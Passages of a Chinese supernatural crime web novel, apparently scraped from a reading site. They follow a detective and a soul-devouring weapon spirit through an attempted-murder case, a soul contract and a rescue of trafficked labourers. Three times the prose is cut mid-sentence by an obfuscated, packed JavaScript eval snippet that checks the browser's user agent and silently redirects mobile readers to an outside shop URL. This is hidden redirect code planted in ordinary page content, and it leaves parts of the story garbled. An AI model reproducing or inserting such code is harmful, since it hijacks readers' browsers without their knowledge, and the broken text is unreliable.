他猛地甩开贺黎筠的手,整个人瘫软在地上,却又突然对着贺黎筠,涕泪横流地磕头:“我错了!我真的知道错了!饶了我……求求你饶了我!” 贺黎筠一怔,随即冷声反问:“你错了什么?” “是我……是我把李秋华从甲板上推了下去……是我在水里按着她的头……是我要杀她……” VIP病房里的动静早已惊动了医护人员。亲眼目睹这个白日深情的丈夫,此刻竟瘫在地上,涕泪横流地亲口承认谋杀,所有人都倒吸一口凉气。 为了逮捕温世谦和保证李秋华的安全,贺黎筠在带来的果篮里放置了一个精巧的针孔摄像头。温世谦试图摘掉妻子氧气面罩的全过程,早已被清晰完整地拍下。 按说人赃俱获就该立即收网,可薛宓执意要亲手“审判”这个杀人犯。 考虑到案件发生在漓江,作为青江警方的贺黎筠确实不便直接插手,便默许了薛宓的行为。 但饶是见惯嫌疑人突然精神失常的贺黎筠,也没料到自己刚和护士站沟通好,一打开门竟亲眼撞见温世谦试图跳窗这么惊心动魄的一幕! 如今,见他在大庭广众下承认谋杀,人证物证俱全,贺黎筠利落地给温世谦和自己铐上手铐,随即拨通了漓江警方的电话。 然而变故陡生—— 就在警方抵达、贺黎筠正要解开自己手铐移交嫌犯时,被扣住右手的温世谦突然暴起!他一把推开贺黎筠,朝走廊尽头的窗户疯狂冲去。 “拦住他!他要跳窗!”贺黎筠大喝。 然而,温世谦的眼中,看到的却是另一番景象—— 他正在逃命。 薛宓的幻境已彻底扭曲了他的感知。走廊在他眼中变成了摇晃的甲板,每一个冲上来阻拦的警察都变成了“索命的自己”。窗外不是四层楼的高空,而是离开游船的求生之路! 眼看着就要逃出这艘游船,他再度被“自己”一把拽住!无数个“自己”狰狞地逼近着自己,他嘶吼着,疯狂挣扎,冲撞着阻拦的“自己”。 “别过来!别过来!”他手脚并用地朝窗口爬去,“滚开!” “温先生!冷静!跳下去解决不了任何事!” 可温世谦充耳不闻。 “薛宓!够了!” 贺黎筠环顾四周,没找到薛宓的身影,但他知道,温世谦如此精神失常,一定是她的手笔。 她的能力越来越强了。以前只是幻境攻击精神,现在竟能直接影响到现实行动。 若温世谦真的跳窗,在所有人眼里,他就是畏罪自杀! “不够,他该死。” 一道冷冽的声音从背后传来。贺黎筠猛地转身,只见一名红瞳少女双手环胸,冷冷注视着他。 她眼底翻涌着未散的暴虐,那张冷若冰霜的面容上,依稀还能辨认出薛宓熟悉的轮廓,却又陌生得令人心惊。 贺黎筠怔愣后,快速道:“他已经被警方抓了,人证物证俱全,逃不掉的。” 薛宓嗤笑一声:“杀人未遂,能判死刑吗?十五年?无期?” 贺黎筠哑然。 他没想到,薛宓竟然还钻研了法律…… “李秋华只是运气好,所以暂时还有一口气在。如果她死了呢?人死不能复生,他就算一命赔一命,又能如何?!被杀害的人能再活过来吗?” “所以让他跳楼不好吗?没人会怀疑,只会当他畏罪自杀,我这是在帮你们清理人渣!” “而且从四楼摔下去,又不一定会死。”薛宓再度嗤笑,“正好,他还没体验李秋华躺在床上的经历……亲自感受着自己的生命在慢慢流逝却无能为力,最终在绝望和痛苦中咽气……这才是他应有的惩罚!” “但这样,你就是杀人。”贺黎筠深吸一口气,沉声道,“我们没有权力夺走任何人的生命。” “那是你。”薛宓讥讽地扬起嘴角,“我杀的人可多了,多杀一个,又怎样?” 她歪着头,红瞳里闪烁着危险的光:“你要来抓我吗?你能抓我吗?” 顿了顿,她又轻蔑地笑道:“现在说什么不该杀人,哪天,你要是遇到杀父仇人……说不定还求着我,让我虐杀他呢。你们警方就是因为自己不是受害者,才在这里说这些冠冕堂皇的风凉话。” “薛宓,你是因为李老师才这么愤怒吗?” 贺黎筠长叹着走近一步,目光直视那双危险的红瞳:“但如果温世谦就这么死了,李老师醒来后怎么办?她会有多少疑问需要当面质问?为什么新婚丈夫要杀她?那些所谓的爱情究竟是不是都是谎言?” “现在他死了,这些答案就永远埋葬了。”贺黎筠的声音带着罕见的恳切,“而且,一个畏罪自杀的结局,太便宜他了。” “活着接受审判,在法庭上被所有人唾弃,在监狱里度过余生,这才是真正的惩罚。更何况……” 他顿了顿,“李老师需要亲眼看到正义得到伸张。如果他就这么跳下去,对她来说,永远都是个未解的谜。而嫌疑人死亡,案件即终结,无法追究其刑事责任,法律上便是‘无罪’。” “我说了,他不一定会摔死。”薛宓不耐烦地打断贺黎筠,红瞳中的戾气丝毫未减,“我可以让他摔得半死不活,再慢慢折磨……” 话音未落,病房里突然传来护士惊喜的呼喊。 “李老师醒了。”贺黎筠立即捕捉到这个转机,“不去看看吗?” 薛宓的身形猛地一滞。下一瞬间,那个充满戾气的红瞳少女如幻影般消散。她重新变回了娇小的小女孩模样,心急火燎地跑回了病房。 就见病床上,李秋华真的虚弱地睁开了眼睛! 但在看见李秋华醒来的那一刻,薛宓却像被施了定身咒般,在门口突然刹住了脚步…… 是她的错…… 如果她能早点发现温世谦的问题,如果她能更早一点看穿温世谦身上的黑雾……李秋华根本就不会出事…… 见薛宓明明第一时间冲进去,却又奇怪地僵在门口没有靠近,贺黎筠走向前,道:“李老师,薛宓担心你,一听到你出事,第一时间让我带她来看你。” “薛……宓……?”李秋华刚刚醒来,艰难地抬起插着输液管的手,“谢谢来看我。不好意思,让你们担心了……” 意识渐渐清醒后,李秋华猛然想起落水前的那幕,愤怒地攥紧拳头:“贺警官,是温世谦推我下去的!” 然而她话音刚落,就听到自己平日里最为乖巧的学生突然开口道:“李老师,你希望温世谦死吗?”她的声音很轻,却让病房瞬间安静。 “他差点害死了你,你想让他死吗?”她又重复地问了一遍。 见李秋华满脸震惊地望向薛宓,贺黎筠在旁补充道:“我们怀疑是你丈夫所为,所以提前在果篮里放了针孔摄像头,正好拍到他试图摘您氧气面罩的画面,还录下了他刚刚的认罪供词。” “现在罪行败露后,他正在走廊上……试图跳窗自杀。” 原来外面这么吵的动静是温世谦要跳窗自杀? 他竟要跳窗自杀?! 这个认知让李秋华胸口翻涌起一股滚烫的怒意,烧得她喉咙发干。 有那么一瞬间,她脑中闪过一个冰冷的念头: 让他跳。 让他尝尝坠落的绝望,就像他推我下水时那样。 这个念头像毒蛇般窜过心脏,让她自己都惊了一瞬。 她可是老师啊,那个在课堂上教学生“生命至上”的李老师。 “不能让他就这么死了!” 更汹涌的情绪骤然冲散了那一闪而过的恶念,李秋华挣扎着要起身:“我还有很多话要问他!他凭什么……凭什么在毁了一切后,自己一死了之?” 就在这一刻—— 幻境轰然破碎。 走廊上,温世谦的脚已经跨出了窗台。他的脚尖已经悬空,却惊愕地发现前方不是逃生的岸边,而是空荡荡的高楼! 四层楼的高度让他双腿一软,若非被一旁的警察眼疾手快地拖回走廊,险些当场坠落。 “嗬……嗬……”被警察们死死按在地上的温世谦,瞳孔因惊恐放大到了极限。他□□湿透,喉咙里挤出断断续续的呜咽,像条被扔上岸的鱼在做最后的挣扎。 直到狂跳的心脏下,他涣散的视线缓缓聚焦,对上了被贺黎筠推着轮椅出现的李秋华——那个他以为必死无疑的妻子,此刻正坐在轮椅上,冷冷地俯视着他。 “看见我还活着,很失望吧?”李秋华冷笑道,“温世谦,我恨你,这辈子都不会原谅你。” “所以,别假惺惺地想用自杀来逃避,或者以死相逼,让我心软原谅你。” “比起痛快一死,你更该活着记住自己做了什么。在监狱里,用余生来忏悔今天的每一分罪恶!而我会起诉和你离婚,你的赌债、你的罪恶、你的人生……从今往后,与我再无瓜葛。” 她的声音突然哽咽了一瞬,又很快恢复了坚定:“我会记住这个教训,但绝不会让它毁了我的人生。我会好好活下去,继续教书,继续生活,我还有更精彩的人生,而不是浪费在你这个人渣身上!” 冰冷的海水灌入肺部的绝望,被最爱之人亲手扼杀的心痛,每一秒都像刀割般清晰……哪怕侥幸被救了回来,这样的背叛都足以击垮任何一名女性。 然而这一刻,李秋华却缓缓挺直了脊背。 那个在温世谦记忆里温柔似水的新婚妻子已然死去,取而代之的是一个向死而生的幸存者。 所以,薛宓震惊地看到,有金色的光点从她发梢间飘散。那是即将消散的怨念,被主人亲手驱散的证据。 “为什么李秋华不愿意看到温世谦死?” 面对薛宓离开医院时气鼓鼓的问题,贺黎筠诧异了片刻,缓缓道:“因为她是位善良的老师。她长期与纯真的孩子相处,让她的潜意识里更倾向教育改造而非以暴制暴。即便面对温世谦这样的罪犯,她的第一反应也不是复仇,而是想让温世谦真正认识到自己的罪恶。她想用法律和监狱来教育他,所以觉得让一个罪犯活着接受惩罚,比简单地死去更有意义。” “那是她还活着。”薛宓不屑地撇嘴,“如果她死了,你觉得她的家属是希望用法律和监狱来教育一个罪犯,还是让温世谦直接一命赔一命?” “如果李秋华死了,温世谦会判死刑。但现在,李秋华没有死。她身上没有任何想要温世谦去死的恶念,你才问出这个问题,不是吗?” “这是她的真实想法,你不该再继续干涉了。” “没劲。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16648648|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 发现自己说不过贺黎筠,他总是莫名其妙有很多歪理,薛宓气鼓鼓地踢飞了脚下的一块小石子。 “薛宓……”贺黎筠突然叫住了她。 犹豫了一下,他还是问出口道:“你刚才突然变成少女模样……是怎么回事?” 薛宓低头看了看自己又恢复成孩童的双手:“之前在福寿村吞噬了太多怨气,刚才情绪激动时,那些力量被激发出来了一些。等完全吸收消化后,应该就能稳定在成年形态了。” “所以……”贺黎筠斟酌着用词,眉头不自觉地皱起,“你现在是在……消化期?” “嗯。”薛宓点点头,就见贺黎筠的表情突然变得有些古怪。 “能……不长大吗?”他憋了半天,终于问出了这句话。 面对小孩子形态的薛宓,贺黎筠完全没压力,甚至还能端出一副长辈的架势。可如果对方变成妙龄女子…… 首先,把一个漂亮小姑娘带回家这件事就让贺黎筠浑身不自在,更不知道该怎么跟崔芳华解释。其次,和一个成年女性同住一个屋檐下……光是想象那个场景,他就觉得头皮发麻。 可要是让薛宓自己住外面,贺黎筠又不放心。以她现在的能力,万一失控,谁知道又会整出什么事来…… “你更喜欢我小孩模样?我成年形态不好看吗?”薛宓歪着头问。 用喜欢这个词更诡异了。他才不是恋童癖! “只是不方便。”贺黎筠瞬间板着脸道,“我妈现在把你当养女,你突然长大要怎么解释?而且,你现在还在读四年级,要长大也得一年一年来。” “哦~”薛宓故意拖长了尾音,“那你和我签订契约呀。改成灵魂契约,我就听你的。” 话题兜兜转转又回到了契约上。 贺黎筠凝视着薛宓——她歪着头,笑得天真又危险,仿佛刚才那些阴冷的自白只是幻觉。她的危险性毋庸置疑,如果能用契约约束她…… 可奇怪的是,他心底竟生不出一丝应有的恐惧。 这些时日的相处,他见过她和同学们玩闹时笑得眉眼弯弯的模样,见过她为流浪猫偷偷留下食物的样子,甚至……哪怕见过她因李秋华重伤而暴怒时周身翻涌着杀意的模样,他都不觉得,她是个可怕的怪物。 反而,这样矛盾的存在,让他奇怪地产生出了更多的想要了解她的心。 “好。”贺黎筠听见自己说,“但在缔结契约前,我要知道真相。关于你的一切。” 他顿了顿,又肯定道:“我不能……也不想和一个连真实身份都不愿告知的存在绑定灵魂。” “我?”薛宓轻笑一声,声音忽然变得空灵,“既然你想知道,那我就告诉你吧。我生于至阴之地,以吞噬恶鬼怨魂为生——是谓噬魂器。” “兵器?”贺黎筠眉头紧锁。 “是因为杀戮才被镇压的吗?既然是专为除魔卫道而生的兵器,为何要杀人?”他还耿耿于怀着她刚刚说“我杀的人可多了”这件事。 “因为他们该死。” 原本含笑的神情骤然阴沉,一层冰冷的戾气自眼底浮起。薛宓缓缓抬手,轻抚上自己的脸颊,动作轻柔得仿佛在触碰一件偷来的珍宝。 “这张脸……”她的声音低了下去,带着几分恍惚,“是我唯一的朋友,薛宁的。” “名字也是她给我取的。” “和我同批炼制的兵器,全都因为承受不住怨气而崩毁,唯独我……靠着吞噬恶鬼,一点点进化,最终……生出了意识。” “那时候,所有人都当我是件死物。只有薛宁……只有她能听见我的声音。” 薛宓的声音忽然轻了下来,像是陷入了遥远的回忆。 “她总爱偷偷跑来祠堂找我说话……那时候我还发不出完整的声音,只能断断续续地回应她。她就一遍遍教我,像个最耐心的先生……‘薛——宓——’,她总是这样拖长音调念我的名字。” “她还总带着各种吃食来找我,明明知道那时的我连味觉都没有,却还是兴致勃勃地给我描述每样食物的滋味,还总念叨着等我化形后要带我去尝遍所有好吃的……” 贺黎筠在旁静静地听着。 他明明说想要了解她的一切,但薛宓的每一句话、每一个神情,都绕着那个叫薛宁的小姑娘打转。 那个女孩对她很重要,重要到像是占据了她全部的记忆,成为她漫长岁月里唯一鲜活的色彩。 “知道她将成为我的主人时,我高兴得整夜都在发烫。” “可她不知道……”薛宓的声音突然哽住了,指节不自觉地收紧,“她那个好师父捡她回来,就是为了等这一天——用纯阴命格的女童灵魂完成最后的淬炼。” 她低笑起来,笑声里带着说不出的讥诮:“多讽刺啊……我吸干她鲜血的那一刻,反而完美复刻了她的模样。” 就是薛宁十六岁生辰那日,薛宓因极度的恐慌,率先长出了一双手。 那是一双苍白而修长的手,骨节分明,却满手是血…… 温热的、黏腻的触感令她全身颤抖,她惊慌地、徒劳地想要抓住薛宁不断下滑的身体…… 她终于化形了。 但她把薛宁杀了。 ——她亲手杀了薛宁! 薛宁的师父狂喜地冲进来,高喊着“噬魂器生出了器灵”,说他们从此所向无敌。 然后—— 那双手,那双刚刚夺走薛宁性命的手,死死掐住了他的脖子。 杀了他。 杀了他。 杀光他们所有人—— 给薛宁陪葬! “那些自诩正道的家伙们总想驯服我。他们用符咒锁链捆住我的手脚,用禁术法阵禁锢我的灵识,日复一日地念着那些令人作呕的渡化经文。有个白胡子老头最爱说教,总说什么兵器本无善恶,要助我重归正道。” “呵……正道?” “我永远记得他们发现我能化形时的表情——先是惊恐,继而狂喜,最后全都变成了令人作呕的贪婪。他们看我的眼神,就像在看一件绝世凶器。” “后来,我杀的人实在太多了,他们意识到经文无法抹去我的杀性,就联手把我封印了……” “可惜啊……他们坟头草都枯了几百年,而我……又回来了。” 29.解救 “怎么,听完就哑巴了?”嘴角讥诮地勾起,薛宓冷笑道,“现在知道我是件沾满血的凶器,终于知道害怕了?” 薛宓向来不在乎世人如何看她。 那些惊恐的眼神、恶毒的咒骂、战栗的求饶,早已成为她漫长生命中无关痛痒的背景。她习惯了被畏惧,甚至享受那些颤抖的瞳孔里倒映出的自己——扭曲的、可怖的、令人绝望的。 可偏偏此时此刻,贺黎筠的沉默像一把钝刀,一寸寸凌迟着她的神经。就在她快要绷不住时,他忽然开口:“薛宁会死……不是你的错。” 明明是一句很普通的话,却像一记重锤,狠狠地砸在了薛宓心上。她瞬间沉下脸反驳:“是我的错。” 固执的话语还没说完,就在触及贺黎筠目光的瞬间僵住了——那里面没有恐惧,没有厌恶,只有……她读不懂的复杂情绪。 “她若是怨恨你,怨恨这一切,早该化作厉鬼了。”贺黎筠直视着她逐渐颤抖的瞳孔,“可这些年……你遇见过她吗?” “反倒是你,用杀戮把自己困在了原地。那些亡魂的怨念,那些鲜血的重量……薛宁若在,定不愿见你这般模样。” “她最期盼的……大概是看你真正自由的模样。” 那些沾满血腥的过往是对是错,早已无从评判。但此刻,贺黎筠却觉得,或许自己能让这件噬魂器真正活一次——不是作为兵器,而是作为“薛宓”。 “你刚才说,和你同批炼制的兵器,全都因承受不住怨气而崩毁……那你呢?终有一日也会……” “我与那些残次品岂能相提并论?”薛宓嗤笑一声。 “但你现在力量尚未完全恢复,更容易被反噬吧?你只能靠吸收怨气恶念来恢复力量吗?” “你问这么多做什么?”她眯起眼睛,警惕地盯着他。 “既然要签订灵魂契约,总该问清楚些。”贺黎筠神色坦然,“我可不想哪天你突然崩毁,连累到我。” 薛宓轻哼一声:“我还能吸血和吞噬灵魂。” “……” 难怪当初自己在废墟下救她出来时就被她咬破了手指…… 贺黎筠沉默良久,终于抬起眼眸:“结契吧,就今天。” 薛宓一喜:“这可是你自己说的。” 薛宓的封印本就随着岁月流逝逐渐松动,贺黎筠的血不过是误打误撞成了最后一根稻草,阴差阳错间竟让他们结成了因果契约。 千百年前,曾有无数的人妄图将她据为己有,最终都成了她刃下的亡魂。如今不过是虎落平阳,才不得不暂时蛰伏。 要改立灵魂契约其实再简单不过——当双方发自内心达成共识时,只需一个口头约定便能生效。简而言之,只要贺黎筠心甘情愿地点头应允,契约即成。 回到酒店后,再次确认贺黎筠同意更改契约后,薛宓抓起贺黎筠的手指,就是一咬。 “你……” 贺黎筠话音未落,心脏骤然被无形的力量攥紧。一股刺骨的寒意顺着血管逆流而上,如同毒蛇般缠绕住他的灵魂。 “契约成立。” 薛宓缓缓松开了他的手,贺黎筠指尖的伤口已经愈合,只留下一个淡淡的月牙形印记。 她唇边还沾着一点猩红,舔了舔嘴角道:“从今往后,你要诚心侍奉我。这样我能更快地恢复力量。” 贺黎筠还有些恍惚。一切都发生的太快,他有些措手不及:“结束了?不需要念咒结印什么的?” “嗯。”薛宓轻描淡写地应了一声,指尖无意识地摩挲着刚刚形成的魂印。 曾经的她,以为自己第一个契约主,会是薛宁…… “那我……”贺黎筠迟疑地开口,“没有获得什么特殊能力吗?比如体魄增强,或者能看见那些黑雾……又或者我们可以心灵感应?” 薛宓毫不客气地翻了个白眼:“只有我们心意相通时,能力才会共享。”她意味深长地顿了顿,“现在什么都感应不到,只能说明……你对我处处防备。” “也有可能是你在防备我。”贺黎筠敏锐地反驳。 薛宓一时语塞。 虽然不愿承认,但这句话确实戳中了要害。不过她很快又暗自庆幸——总算摆脱了那该死的因果契约。 如今这灵魂契约,她占据绝对的主导权。不仅能加速恢复力量,更重要的是……等贺黎筠死后,她还能吞噬他的灵魂。 薛宓美滋滋地畅享着未来,冷不丁听到贺黎筠问道:“我们第一次见面那天,你是怎么救我的?那颗心脏……你是要给我吃吗?” 提起这事薛宓就来气:“你为什么不吃啊!”她咬牙切齿地跺脚,“吃啥补啥懂不懂?那颗心脏我都净化过了!看你死活不肯吃,我还特意咬了一口想喂你……” 贺黎筠顿时有股不妙的感觉:“等等……所以我最后还是……?” “没有!”薛宓的脸更黑了,“你连吞咽的力气都没有,我只好吐掉了。为了救你,我把那具尸体上所有的怨气都吞了,还吞噬了他的灵魂,才攒够力量把你救活。结果那家伙的灵魂脏得要命,我当时光顾着救你,没完全消化他的怨念,害我醒来都吐了……” 这是薛宓第一次开诚布公地说起他们相遇的前因后果,贺黎筠便顺水推舟地问:“尸检报告显示,王姜成是心脏贯穿伤……你是为了救我……杀了他吗?” “他想杀我,却中了我的幻术。”薛宓冷哼一声,“幻境里,我亲手把他的心脏掏了出来。不过对你们来说……”她歪头露出笑容,“就是现实中的钢筋恰好意外坠落罢了,不是吗?” 原来如此。 那这……应当算薛宓正当防卫……虽然防卫有些过当,但那是王姜成该死!他折返回坍塌现场,不就是想要杀他补刀吗?如果不是薛宓,他早就死在了现场…… 贺黎筠恍惚地意识到,自己竟下意识地为薛宓杀人的行为寻找借口…… 薛宓并非人类。 法律、道德、人命……这些对人类而言重若千钧的概念,在她眼中不过是轻飘飘的尘埃。作为噬魂器诞生的存在,她天生就带着杀戮的本能,就像人类需要呼吸一般自然。 但她,比之第一次相遇时,却又是不同的。 她在渐渐地变得有温度…… 他不希望她再变回那个冰冷无情的噬魂器,被杀戮和怨恨所束缚…… “还有什么想问的?”见贺黎筠盯着自己久久不语,薛宓不耐烦地反问。 贺黎筠深深地看了她许久,试探地问:“既然你能通过吸血恢复力量,不考虑下鸡血、鸭血之类的动物血吗?” “打住!”薛宓嫌弃地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16657889|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皱眉,“你以为是什么血都能用的吗?那些牲畜的血又腥又臭,毫无灵力可言。” “那我的血呢?”贺黎筠再度开口,在薛宓惊讶的目光下,直接挽起了袖子,“既然签订了灵魂契约,我不希望有朝一日被你反噬。所以需要的话,可以随时取用我的血。” 薛宓怔了怔,随即摆手:“不需要!就你这点血……把你吸干了都不够塞牙缝的。当然,你哪天想不开了要死的话,我可以亲自送你上路。” 像往常一样气势汹汹地说着狠话,可对上贺黎筠那双异常认真的眼睛时,薛宓的心头没来由地一颤,就像是心虚般,慌忙地别开了视线。 “我累了,睡了!”她头也不回地爬回自己的床,“再磨蹭天都要亮了。” 这其实是贺黎筠第一次和异性同住双人间,但此刻望着那团鼓起的被子,贺黎筠根本无暇顾及那些本该尴尬与别扭的情绪,反而脑海里时不时浮现着薛宓诉说自己过往时那双悲伤的眼睛。 夜风从半开的窗户溜进来,带着晚春特有的凉意。他轻手轻脚地洗漱完毕,躺在了隔壁床上。 装睡的薛宓听着身旁均匀的呼吸声,不知为何心头那股烦躁更甚。她悄悄把被子往下拉了拉,露出半张脸,借着月光看向贺黎筠的侧影。 顺着温世谦的比特币交易线索,漓江警方顺藤摸瓜,发现了一个庞大的跨国犯罪集团。这个犯罪集团不仅涉及网络诈骗、网络赌博陷阱,还以高薪招聘为诱饵实施人口拐卖。 这本该与青江市无关,但漓江警方打击这些违法犯罪活动时发现,有些男性受害者缺乏电脑操作技能,无法胜任诈骗工作,犯罪集团就没将他们卖出国,而是将他们再次转卖至黑窑厂从事苦力劳动。 其中,就有一批受害者是从青江市被拐骗的。他们轻信了所谓高薪工作的招聘广告,最终落入黑窑厂的魔爪。 在多地警方联手下,专案组循着蛛丝马迹,最终在深山里一处隐蔽的山坳中,成功找到了这个罪恶的黑窑厂。 贺黎筠是主动请缨参与这次行动的。 然而,映入眼帘的景象却令他们倒吸一口冷气,只见数十名工人竟是人挤人地睡在一个狭窄的工棚里。 “警察!都不许动!” 突如其来的喝令声惊醒了睡梦中的工人们。他们条件反射般地挤作一团,眼中满是惊恐。 脏臭的味道混杂着霉味扑面而来。借着昏暗的灯光,只见那些本该身强力壮的年轻人,个个骨瘦如柴,全身上下都布满了新旧交错的鞭痕和烫伤,有些人的手指甚至已经变形…… “真、真的是警察吗?” 突然,角落里传来一声颤抖的询问,嗓音嘶哑得几乎辨不出原声。 贺黎筠顺势将手电筒照了过去,但当光束落在那张布满污渍的脸上时,他的心却猛地一沉。 这个青江口音的男人,竟是和林美美家庭档案时看到的林伟民照片极为相似。 四年前,林美美母亲病危住院,而作为顶梁柱的林伟民却离奇失踪,连妻子最后一面都没能见到。年幼的林美美只能跟着年迈的外公外婆艰难度日。 但如果,这个男人并非不负责任地抛妻弃女,而是在妻子病重时,为了筹措高昂的医药费,轻信了“高薪工作”的骗局,最终沦落到这座人间地狱般的黑窑厂呢…… 30.猫猫 成功解救出所有被拐受害者后,专案组的刑警们忙着一个个登记信息,安排他们返乡的事宜。 林伟民登记完信息后,听说贺黎筠是从老家来的刑警,整个人明显怔了一下。他局促地在原地转了两圈,最后还是慢吞吞地挪了过来。 四年的非人折磨,早已磨平了这个汉子的锐气。他佝偻着背,头始终低垂着,粗糙的手指不停地搓着洗得发白的衣角…… “贺警官,咱们……什么时候能回青江啊?” “明天下午发车回去。” “哎,好,谢谢贺警官……”林伟民连连点头,身子不自觉地佝偻着。 直到察觉到贺黎筠的目光仍停留在自己那条使不上力的左腿上,他嘴角扯出一抹苦涩的笑:“三年前,我拼死逃过一回。被抓回来后,他们杀鸡儆猴,直接用铁棍打断了我的腿。” “在这里,不管伤得多重都不会送医,就随便用破布条裹一裹。死了的人……就直接拖去后山埋了……我是那时落下的病根,现在阴雨天还钻心地疼……” 或许是四年暗无天日的囚禁终于结束,又或许是见到了家乡的警察,在黑窑厂里终日沉默寡言的林伟民难得打开了话匣子。 贺黎筠安静地听着,心却随着他这四年的遭遇,跟着难受了起来。 等林伟民哭着说完后,他才主动开口道:“林伟民,我认识你女儿林美美,她是我妹妹的同学。” “什么?!”林伟民猛地抬头,浑浊的双眼突然有了神采,“美美她……她这些年……” 然而,话到嘴边却又不敢问下去。 四年了……整整四年了。他心里比谁都清楚,以美妤当时的病情,怕是早就……而他们最宝贝的女儿美美,这些年没有爸爸妈妈在身边,该是怎么熬过来的啊…… 想到这里,林伟民只觉得胸口一阵绞痛,连呼吸都变得困难起来。 贺黎筠轻声道:“你妻子吴美妤在你失踪后不久就病逝了。林美美这些年跟着外公外婆,日子过得挺苦的……” 果然……果然……!是他太蠢,轻信那些骗人的广告…… 林伟民懊悔地握紧双拳,指甲深深掐进掌心的肉里。 就在他几乎要被悔恨淹没时,突然听到贺黎筠话锋一转:“不过去年发生了一件事,林美美得到了一笔赔偿款,现在她过得不错,每天上下学都和我妹妹结伴,两个小姑娘形影不离的……” 贺黎筠伸手,扶住他颤抖的肩膀:“你能活着回去,你女儿一定会很高兴的。” 林伟民却摇头,双手捂着脸哽咽道:“我哪有脸见她……现在的我,是个残废,反而是孩子的累赘……” “但对你女儿来说……”贺黎筠直接打断了他的话。 他轻轻托起林伟民始终低垂的脸,声音温柔却字字有力:“她终于能知道,她的爸爸不是抛弃她们,而是为了赚钱给妈妈治病才被拐至黑窑厂……她的爸爸并没有不爱她和她妈妈,而是,就是因为太爱她们,才会在妈妈病重时拼命想赚医药费,才会不幸落入骗局……” 贺黎筠的话,令林伟民当场爆哭出声。 贺黎筠安慰地拍了拍颤抖不已的肩膀:“所以,不要害怕回家,你的家人们一直都在等你。” “从明天开始,好好陪着美美重新生活,一切都会好起来的。包括你的腿,一定要去骨科最好的医院治疗。什么,都别轻易放弃。” “贺警官,谢谢你……”胡乱抹了把泪流满面的脸,林伟民哽咽着点头,“我、我一定不会放弃的……” 贺黎筠一出差就出差了一个半月。没带薛宓是因为这次是多省联合办案,实在找不到理由长期带着个小孩。 但他现在有些后悔没有带薛宓了。这群人渣简直不是人,就应该让薛宓在幻境里狠狠惩治,让他们亲身体验一番受害者的痛苦。 等回来时,薛宓已经放暑假了。 这一个半月里,薛宓倒是没有想贺黎筠。 六月初,李秋华重返了学校,继续担任四年级二班的班主任。 温世谦已经被检察院提起公诉,而她也聘请律师正式提起了离婚诉讼。 教室里,孩子们完全不知道李老师经历了什么,只是单纯地为班主任的回归欢呼雀跃,叽叽喳喳地围在李秋华身边,说着这一个月来的趣事。 例如,五月初,林美美收养了一只怀孕的流浪猫,刚收养第二天就生了一窝小奶猫,一共五只,一只橘白、一只纯白、两只梨花,还有一只和猫妈妈一样漂亮的三花。 所以这段时间,薛宓一有空就去林美美家,rua那些软乎乎的小毛团。 说来也怪,之前薛宓身上总带着让动物本能畏惧的气息,小动物们见到她不是炸毛就是躲得远远的。久而久之,她也对这些毛茸茸的小家伙提不起兴趣。 但寒假的某一天,她和林美美一起堆雪人时,遇见了一只流浪的三花猫。出乎意料的是,那只猫不仅没逃跑,反而主动凑过来蹭她们的裤腿。 “喵~” 柔软的触感透过布料传来,薛宓整个人都僵住了。 林美美说,这是她们小区的流浪猫花卷,非常亲人,平日里在小区里蹭吃蹭喝,谁喂都吃。她之前带它回家两次,结果花卷吃饱喝足就扒拉着门要出去,显然更爱自由自在的生活,所以她没有再将它带回家了。 说着就牵着她一起去超市买了两根火腿肠和一个猫罐头,而那只叫“花卷”的小三花一直乖乖地跟在她们后面。 买完火腿肠,薛宓有样学样地蹲下身,小心翼翼地撕开火腿肠包装。 她动作生疏得很,差点把整根火腿肠掉在地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而薛宓对这窝小奶猫这么上心,天天往林美美家跑,是因为林美美答应她,这窝小奶猫长大后,她能挑一只最喜欢的崽带走。 薛宓早早就相中了一只橘白。就它最能吃,踩奶踩得最起劲,一看就是好养活的。 但由于这只橘白太过能吃,导致其他兄弟姐妹根本抢不过它,体型都比它小了整整一圈,所以今天小猫满月,薛宓就拉着林美美去超市买幼猫粮。 就在两人刚排到收银台时,一个年轻姑娘慌慌张张地冲进超市。她手举着一张寻狗启事,声音发颤地问向她们:“不好意思!请问你们有没有见过这只博美?昨晚我取快递没关好门,它就跑出去了……它叫布丁,刚满五岁,我们上周才搬到玫瑰花园,它可能不认得回家的路……” 31.团聚 玫瑰花园?离林美美的小区都有两条马路这么远了……小狗溜出家后会跑这么远吗? 薛宓和林美美凑近看了看寻狗启事上的照片,是只憨态可掬的小博美,但两人都摇了摇头表示没见过。 恳求收银员将寻狗启事贴在收银台上最显眼的地方后,年轻女人红着眼眶哽咽道:“你们如果有看见的话,麻烦一定要打这个电话……谢谢,谢谢……”说完,她又心急火燎地冲向下一个店铺。 等她们买完猫粮出来,远远看见那个年轻女人还在挨家挨户地问着,每进一家店都要深深鞠上一躬。 林美美鼻子一酸,叹气道:“养了花卷后,最看不得这些……希望狗狗能平安找到。” 